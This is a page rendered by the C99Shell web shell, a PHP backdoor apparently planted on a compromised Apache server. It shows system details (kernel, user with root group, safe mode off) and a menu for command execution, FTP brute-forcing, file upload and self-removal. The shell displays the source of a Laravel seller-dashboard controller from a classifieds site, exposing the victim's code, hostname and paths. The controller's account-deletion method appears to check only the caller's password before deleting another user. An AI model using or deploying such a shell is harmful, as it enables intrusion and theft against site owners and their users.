!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Controllers/Frontend/   drwxr-xr-x
Free 28.35 GB of 117.98 GB (24.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SellerDashboardController.php (9.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Frontend;

use 
App\Http\Controllers\Controller;
use 
App\Http\Traits\HasPlanPromotion;
use 
App\Models\Report;
use 
App\Models\ResubmissionGallery;
use 
App\Models\User;
use 
App\Models\UserPlan;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Hash;
use 
Modules\Ad\Entities\Ad;
use 
Modules\Category\Entities\Category;
use 
Modules\Review\Entities\Review;
use 
Modules\Wishlist\Entities\Wishlist;

class 
SellerDashboardController extends Controller
{
    use 
HasPlanPromotion;

    public function 
profile(User $user)
    {
        try {
            
session()->put(['seller_tab' => 'ads']);

            
$reviews Review::whereSellerId($user->id)
                ->
whereStatus(1)
                ->
get();
            
$already_review $reviews->firstWhere('user_id'auth()->id());
            
$rating_details = [
                
'total' => $reviews->count(),
                
'rating' => $reviews->sum('stars'),
                
'average' => number_format($reviews->avg('stars')),
            ];
            
$total_active_ad Ad::where('user_id'$user->id)
                ->
activeCategory()
                ->
active()
                ->
count();
            
$social_medias $user->socialMedia;

            return 
view('frontend.seller.dashboard', [
                
'user' => $user,
                
'already_review' => $already_review,
                
'rating_details' => $rating_details,
                
'total_active_ad' => $total_active_ad,
                
'social_medias' => $social_medias,
            ]);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
rateReview(Request $request)
    {
        
session(['seller_tab' => 'review_store']);

        
$request->validate([
            
'stars' => 'required|numeric|between:1,5',
            
'comment' => 'required|string|max:255',
        ]);
        try {
            
Review::create([
                
'seller_id' => $request->seller_id,
                
'user_id' => auth()->id(),
                
'stars' => $request->stars,
                
'comment' => $request->comment,
            ]);

            if (
$request->stars && $request->comment) {
                
$message 'Review submitted successfully';
                
$request->session()->flash('success'$message);
                
$success true;
            } else {
                
$message 'Review submit Failed';
                
$success false;
            }
            
$redirectUrl route('frontend.seller.profile'$request->seller_username);

            return 
response()->json(['success' => $success'message' => $message'redirectUrl' => $redirectUrl]);
        } catch (
\Exception $e) {
            return 
response()->json(['success' => false'message' => 'An error occurred: '.$e->getMessage()]);
        }
    }

    public function 
preSignup(Request $request)
    {
        
session(['seller_tab' => 'review_store']);

        
$request->validate([
            
'email' => 'required',
        ]);
        try {
            return 
redirect()->route('frontend.signup', ['email' => $request->email]);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
report(Request $request)
    {
        
$request->validate([
            
'reason' => 'required',
        ]);

        try {
            
Report::create([
                
'report_from_id' => auth('user')->id(),
                
'report_to_id' => $request->user_id,
                
'reason' => $request->reason,
            ]);

            if (
$request->reason) {
                
$message 'Report Sent Successfully';
                
$success true;
                
$request->session()->flash('success'$message);
            } else {
                
$message 'Report Sent Failed';
                
$success false;
            }

            
// Get the redirect URL
            
$redirectUrl route('frontend.seller.profile'$request->username);

            
// Return the JSON response with the success status, message, and redirect URL
            
return response()->json(['success' => $success'message' => $message'redirectUrl' => $redirectUrl]);

        } catch (
\Exception $e) {
            return 
response()->json(['success' => false'message' => 'An error occurred: '.$e->getMessage()]);
        }
    }

    public function 
favoriteList()
    {
        try {
            
$wishlistsIds Wishlist::select('ad_id')
                ->
customerData()
                ->
pluck('ad_id')
                ->
all();

            
$query Ad::select(['id''title''slug''thumbnail''price''status''category_id''country''district''region''created_at'])
                ->
with('category')
                ->
whereIn('id'$wishlistsIds);

            if (
request()->has('keyword') && request()->keyword != null) {
                
$keyword request('keyword');
                
$query->where('title''LIKE'"%$keyword%");
            }

            if (
request()->has('category') && request()->category != null) {
                
$query->whereHas('category', function ($q) {
                    
$q->where('slug'request('category'));
                });
            }

            if (
request()->has('sort_by') && request()->sort_by != null && request('sort_by') == 'oldest') {
                
$query->orderBy('id''ASC');
            } else {
                
$query->orderBy('id''DESC');
            }

            
$data['wishlists'] = $query->paginate(5)->withQueryString();

            return 
view('frontend.favorite-listing'$data);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
myListing()
    {
        try {
            
$data['categories'] = Category::active()->get();
            
$data['user'] = auth('user')->user();

            
$query Ad::customerData();
            
$query->whereNot('resubmission'1);

            if (
request()->has('keyword') && request()->keyword != null) {
                
$keyword request('keyword');
                
$query->where('title''LIKE'"%$keyword%");
            }

            if (
request()->has('category') && request()->category != null) {
                
$query->whereHas('category', function ($q) {
                    
$q->where('slug'request('category'));
                });
            }

            if (
request()->has('sort_by') && request()->sort_by != null && request('sort_by') == 'oldest') {
                
$query->orderBy('id''ASC');
            } else {
                
$query->orderBy('id''DESC');
            }

            
$data['ads'] = $query->with('category')->paginate(5)->withQueryString();

            
// $data['user_plan'] = UserPlan::where('user_id', auth()->user()->id)->first();
            
$data['user_plan_data'] = UserPlan::where('user_id'auth()->user()->id)->first();
            
$data['plan'] = $data['user_plan_data']->currentPlan;

            return 
view('frontend.my-listing'$data);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
resubmissionList()
    {
        try {
            
$data['categories'] = Category::active()->get();
            
$data['user'] = auth('user')->user();
            
$data['resubmissionGallery'] = ResubmissionGallery::all();
            
$query Ad::customerData();
            
$query->where('resubmission'1);

            if (
request()->has('keyword') && request()->keyword != null) {
                
$keyword request('keyword');
                
$query->where('title''LIKE'"%$keyword%");
            }

            if (
request()->has('category') && request()->category != null) {
                
$query->whereHas('category', function ($q) {
                    
$q->where('slug'request('category'));
                });
            }

            if (
request()->has('sort_by') && request()->sort_by != null && request('sort_by') == 'oldest') {
                
$query->orderBy('id''ASC');
            } else {
                
$query->orderBy('id''DESC');
            }

            
$data['ads'] = $query->with('category')->paginate(5)->withQueryString();

            return 
view('frontend.resubmission-listing'$data);
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
deleteProfile(User $user)
    {

        try {
            if (
Hash::check(request('password'), auth()->user()->password)) {

                
$user->delete();

                return 
redirect()->back()->with('success''Account deleted successfully');
            } else {

                return 
redirect()->back()->with('error''Incorrect password. Please try again.');
            }
        } catch (
\Exception $e) {

            return 
redirect()->back()->with('error''An error occurred while processing your request. Please try again.');
        }
    }

    public function 
promoteListing(Request $requestAd $ad)
    {

        
$request->validate([
            
'featured' => 'sometimes|boolean',
            
'urgent' => 'sometimes|boolean',
            
'highlight' => 'sometimes|boolean',
            
'top' => 'sometimes|boolean',
            
'bump_up' => 'sometimes|boolean',
        ]);

        
// Assign promotions to user
        
$ad $this->promotePlan($request$adauth()->id());
        
$ad->save();

        
flashSuccess('Listing Promotions updated Successfully!');

        return 
back();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--